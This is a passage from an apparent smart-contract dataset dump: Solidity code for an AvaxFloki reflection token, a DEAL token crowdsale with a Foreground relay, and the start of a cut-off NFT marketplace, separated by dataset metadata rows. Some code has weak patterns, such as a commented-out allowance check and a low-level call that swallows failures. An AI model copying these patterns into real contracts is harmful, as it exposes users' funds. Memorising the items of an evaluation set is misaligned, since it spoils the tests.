require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AvaxFloki is Context, DeployerCERTIK, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9;
uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply));
uint256 private _tFeeTotal;
string private _name = 'AvaxFloki';
string private _symbol = 'AvaxFloki';
uint8 private _decimals = 9;
constructor () {
_rOwned[_msgSender()] = _rTotalSupply;
emit Transfer(address(0), _msgSender(), _allTotalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _allTotalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotalSupply = _rTotalSupply.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _allTotalSupply, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotalSupply, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is not excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotalSupply = _rTotalSupply.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee);
}
function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) {
uint256 tFee = tAmount.div(100).mul(5);
uint256 tTransferAmount = tAmount.sub(tFee);
return (tTransferAmount, tFee);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotalSupply;
uint256 tSupply = _allTotalSupply;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply);
return (rSupply, tSupply);
}
}
| 78,562 | 12,243 |
3ff23421eee2cb55fbb602c86a15da8043e350113a80e6bf73732961446e1c30
| 24,123 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x943e99d9efd4b44d808f6c83373a9a2c1e15e0f8.sol
| 4,415 | 16,819 |
pragma solidity 0.4.15;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract IDealToken {
function spend(address _from, uint256 _value) returns (bool success);
}
contract DealToken is MintableToken, IDealToken {
string public constant name = "Deal Token";
string public constant symbol = "DEAL";
uint8 public constant decimals = 0;
uint256 public totalTokensBurnt = 0;
event TokensSpent(address indexed _from, uint256 _value);
function DealToken() public { }
function spend(address _from, uint256 _value) public returns (bool) {
require(_value > 0);
if (balances[_from] < _value || allowed[_from][msg.sender] < _value) {
return false;
}
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_from] = balances[_from].sub(_value);
totalTokensBurnt = totalTokensBurnt.add(_value);
totalSupply = totalSupply.sub(_value);
TokensSpent(_from, _value);
return true;
}
function approveAndCall(ITokenRecipient _spender, uint256 _value, bytes _extraData) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
_spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
contract IForeground {
function payConversionFromTransaction(uint256 _promotionID, address _recipientAddress, uint256 _transactionAmount) external payable;
function createNewDynamicPaymentAddress(uint256 _promotionID, address referrer) external;
function calculateTotalDue(uint256 _promotionID, uint256 _transactionAmount) public constant returns (uint256 _totalPayment);
}
contract IForegroundEnabledContract {
function receiveEtherFromForegroundAddress(address _originatingAddress, address _relayedFromAddress, uint256 _promotionID, address _referrer) public payable;
}
contract ForegroundCaller is IForegroundEnabledContract {
IForeground public foreground;
function ForegroundCaller(IForeground _foreground) public {
foreground = _foreground;
}
//This event is useful for testing whether a contract has implemented Foreground correctly
//It can even be used prior to the implementing contract going live
event EtherReceivedFromRelay(address indexed _originatingAddress, uint256 indexed _promotionID, address indexed _referrer);
event ForegroundPaymentResult(bool _success, uint256 indexed _promotionID, address indexed _referrer, uint256 _value);
event ContractFunded(address indexed _sender, uint256 _value);
function receiveEtherFromForegroundAddress(address _originatingAddress, address _relayedFromAddress, uint256 _promotionID, address _referrer) public payable {
//NOTE: available Ether may be less than msg.value after this call
//NOTE: originatingAddress indicates the true sender of the funds at this point, not msg.sender
EtherReceivedFromRelay(_originatingAddress, _promotionID, _referrer);
uint256 _amountSpent = receiveEtherFromRelayAddress(_originatingAddress, msg.value);
uint256 _paymentToForeground = foreground.calculateTotalDue(_promotionID, _amountSpent);
//NOTE: Using .call in order to swallow any exceptions
bool _success = foreground.call.gas(1000000).value(_paymentToForeground)(bytes4(keccak256("payConversionFromTransaction(uint256,address,uint256)")), _promotionID, _referrer, _amountSpent);
ForegroundPaymentResult(_success, _promotionID, _referrer, msg.value);
}
//Abstract function to be implemented by advertiser's contract
function receiveEtherFromRelayAddress(address _originatingAddress, uint256 _amount) internal returns(uint256 _amountSpent);
//Function allows for additional funds to be added to the contract (without purchasing tokens)
function fundContract() payable {
ContractFunded(msg.sender, msg.value);
}
}
contract ForegroundTokenSale is Ownable, ForegroundCaller {
using SafeMath for uint256;
uint256 public publicTokenCap;
uint256 public baseTokenPrice;
uint256 public currentTokenPrice;
uint256 public priceStepDuration;
uint256 public numberOfParticipants;
uint256 public maxSaleBalance;
uint256 public minSaleBalance;
uint256 public saleBalance;
uint256 public tokenBalance;
uint256 public startBlock;
uint256 public endBlock;
address public saleWalletAddress;
address public devTeamTokenAddress;
address public partnershipsTokenAddress;
address public incentiveTokenAddress;
address public bountyTokenAddress;
bool public saleSuspended = false;
DealToken public dealToken;
SaleState public state;
mapping (address => PurchaseDetails) public purchases;
struct PurchaseDetails {
uint256 tokenBalance;
uint256 weiBalance;
}
enum SaleState {Prepared, Deployed, Configured, Started, Ended, Finalized, Refunding}
event TokenPurchased(address indexed buyer, uint256 tokenPrice, uint256 txAmount, uint256 actualPurchaseAmount, uint256 refundedAmount, uint256 tokensPurchased);
event SaleStarted();
event SaleEnded();
event Claimed(address indexed owner, uint256 tokensClaimed);
event Refunded(address indexed buyer, uint256 amountRefunded);
modifier evaluateSaleState {
require(saleSuspended == false);
if (state == SaleState.Configured && block.number >= startBlock) {
state = SaleState.Started;
SaleStarted();
}
if (state == SaleState.Started) {
setCurrentPrice();
}
if (state == SaleState.Started && (block.number > endBlock || saleBalance == maxSaleBalance || maxSaleBalance.sub(saleBalance) < currentTokenPrice)) {
endSale();
}
if (state == SaleState.Ended) {
finalizeSale();
}
_;
}
function ForegroundTokenSale(uint256 _publicTokenCap,
uint256 _tokenFloor,
uint256 _tokenRate,
IForeground _foreground)
public
ForegroundCaller(_foreground)
{
require(_publicTokenCap > 0);
require(_tokenFloor < _publicTokenCap);
require(_tokenRate > 0);
publicTokenCap = _publicTokenCap;
baseTokenPrice = _tokenRate;
currentTokenPrice = _tokenRate;
dealToken = new DealToken();
maxSaleBalance = publicTokenCap.mul(currentTokenPrice);
minSaleBalance = _tokenFloor.mul(currentTokenPrice);
state = SaleState.Deployed;
}
function() public payable {
purchaseToken(msg.sender, msg.value);
}
function configureSale(uint256 _startBlock,
uint256 _endBlock,
address _wallet,
uint256 _stepDuration,
address _devAddress,
address _partnershipAddress,
address _incentiveAddress,
address _bountyAddress)
external
onlyOwner
{
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
require(state == SaleState.Deployed);
require(_wallet != 0x0);
require(_stepDuration > 0);
require(_devAddress != 0x0);
require(_partnershipAddress != 0x0);
require(_incentiveAddress != 0x0);
require(_bountyAddress != 0x0);
state = SaleState.Configured;
startBlock = _startBlock;
endBlock = _endBlock;
saleWalletAddress = _wallet;
priceStepDuration = _stepDuration;
devTeamTokenAddress = _devAddress;
partnershipsTokenAddress = _partnershipAddress;
incentiveTokenAddress = _incentiveAddress;
bountyTokenAddress = _bountyAddress;
}
function claimToken()
external
evaluateSaleState
{
require(state == SaleState.Finalized);
require(purchases[msg.sender].tokenBalance > 0);
uint256 _tokensPurchased = purchases[msg.sender].tokenBalance;
purchases[msg.sender].tokenBalance = 0;
purchases[msg.sender].weiBalance = 0;
dealToken.transfer(msg.sender, _tokensPurchased);
Claimed(msg.sender, _tokensPurchased);
}
function claimRefund()
external
{
require(state == SaleState.Refunding);
uint256 _amountToRefund = purchases[msg.sender].weiBalance;
require(_amountToRefund > 0);
purchases[msg.sender].weiBalance = 0;
purchases[msg.sender].tokenBalance = 0;
msg.sender.transfer(_amountToRefund);
Refunded(msg.sender, _amountToRefund);
}
function suspendSale(bool _suspend)
external
onlyOwner
{
saleSuspended = _suspend;
}
function updateLatestSaleState()
external
evaluateSaleState
returns (uint256)
{
return uint256(state);
}
function purchaseToken(address _recipient, uint256 _amount)
internal
evaluateSaleState
returns (uint256)
{
require(state == SaleState.Started);
require(_amount >= currentTokenPrice);
uint256 _saleRemainingBalance = maxSaleBalance.sub(saleBalance);
bool _shouldEndSale = false;
uint256 _amountToRefund = _amount % currentTokenPrice;
uint256 _purchaseAmount = _amount.sub(_amountToRefund);
if (_saleRemainingBalance < _purchaseAmount) {
uint256 _endOfSaleRefund = _saleRemainingBalance % currentTokenPrice;
_amountToRefund = _amountToRefund.add(_purchaseAmount.sub(_saleRemainingBalance).add(_endOfSaleRefund));
_purchaseAmount = _saleRemainingBalance.sub(_endOfSaleRefund);
_shouldEndSale = true;
}
if (purchases[_recipient].tokenBalance == 0) {
numberOfParticipants = numberOfParticipants.add(1);
}
uint256 _tokensPurchased = _purchaseAmount.div(currentTokenPrice);
purchases[_recipient].tokenBalance = purchases[_recipient].tokenBalance.add(_tokensPurchased);
purchases[_recipient].weiBalance = purchases[_recipient].weiBalance.add(_purchaseAmount);
saleBalance = saleBalance.add(_purchaseAmount);
tokenBalance = tokenBalance.add(_tokensPurchased);
if (_purchaseAmount == _saleRemainingBalance || _shouldEndSale) {
endSale();
}
if (_amountToRefund > 0) {
_recipient.transfer(_amountToRefund);
}
TokenPurchased(_recipient, currentTokenPrice, msg.value, _purchaseAmount, _amountToRefund, _tokensPurchased);
return _purchaseAmount;
}
function receiveEtherFromRelayAddress(address _originatingAddress, uint256 _amount)
internal
returns (uint256)
{
return purchaseToken(_originatingAddress, _amount);
}
function setCurrentPrice() internal {
uint256 _saleBlockNo = block.number - startBlock;
uint256 _numIncreases = _saleBlockNo.div(priceStepDuration);
if (_numIncreases == 0)
currentTokenPrice = baseTokenPrice;
else if (_numIncreases == 1)
currentTokenPrice = 0.06 ether;
else if (_numIncreases == 2)
currentTokenPrice = 0.065 ether;
else if (_numIncreases == 3)
currentTokenPrice = 0.07 ether;
else if (_numIncreases >= 4)
currentTokenPrice = 0.08 ether;
}
function endSale() internal {
if (saleBalance < minSaleBalance) {
state = SaleState.Refunding;
} else {
state = SaleState.Ended;
mintTokens();
}
SaleEnded();
}
function mintTokens() internal {
uint256 _totalTokens = (tokenBalance.mul(10 ** 18)).div(74).mul(100);
dealToken.mint(address(this), _totalTokens.div(10 ** 18));
dealToken.transfer(devTeamTokenAddress, (_totalTokens.mul(10).div(100)).div(10 ** 18));
dealToken.transfer(partnershipsTokenAddress, (_totalTokens.mul(10).div(100)).div(10 ** 18));
dealToken.transfer(incentiveTokenAddress, (_totalTokens.mul(4).div(100)).div(10 ** 18));
dealToken.transfer(bountyTokenAddress, (_totalTokens.mul(2).div(100)).div(10 ** 18));
dealToken.finishMinting();
}
function finalizeSale() internal {
state = SaleState.Finalized;
saleWalletAddress.transfer(this.balance);
}
}
contract ITokenRecipient {
function receiveApproval(address _from, uint _value, address _token, bytes _extraData);
}
| 177,131 | 12,244 |
8edaeff4a30b50fe76b2706b8c28d84710a5c5579d911347a7b996ba79b081e7
| 40,353 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/testnet/12/1298094827aDBD3702c6055c21BfB1307e6af768_BytTokenMarket.sol
| 5,313 | 21,783 |
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_setOwner(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
interface IERC1155 is IERC165 {
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
event TransferBatch(address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values);
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
event URI(string value, uint256 indexed id);
function balanceOf(address account, uint256 id) external view returns (uint256);
function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids)
external
view
returns (uint256[] memory);
function setApprovalForAll(address operator, bool approved) external;
function isApprovedForAll(address account, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data) external;
function safeBatchTransferFrom(address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token,
address from,
address to,
uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token,
address spender,
uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token,
address spender,
uint256 value) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
}
contract BytTokenMarket is Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
bytes4 private constant INTERFACE_ID_ERC721 = 0x80ac58cd;
bytes4 private constant INTERFACE_ID_ERC1155 = 0xd9b67a26;
uint256 public constant BASIS_POINTS = 10000;
address public transactionDictionary;
address public paymentToken;
uint256 public fee;
address public feeReceipient;
struct Listing {
uint256 quantity;
uint256 pricePerItem;
uint256 expirationDate;
}
// _collectionAddress => _tokenId => _owner
mapping(address => mapping(uint256 => mapping(address => Listing))) public listings;
event UpdateFee(uint256 fee);
event UpdateFeeRecipient(address feeRecipient);
event UpdateTransactionDictionary(address transactionDictionary);
event UpdatePaymentToken(address paymentToken);
event ItemListed(address seller,
address nftAddress,
uint256 tokenId,
uint256 quantity,
uint256 pricePerItem,
uint256 expirationDate);
event ItemUpdated(address seller,
address nftAddress,
uint256 tokenId,
uint256 quantity,
uint256 pricePerItem,
uint256 expirationDate);
event ItemSold(address seller,
address buyer,
address nftAddress,
uint256 tokenId,
uint256 quantity,
uint256 pricePerItem);
event ItemCanceled(address seller, address nftAddress, uint256 tokenId);
modifier isListed(address _collectionAddress,
uint256 _tokenId,
address _owner) {
Listing memory listing = listings[_collectionAddress][_tokenId][_owner];
require(listing.quantity > 0, "not listed item");
_;
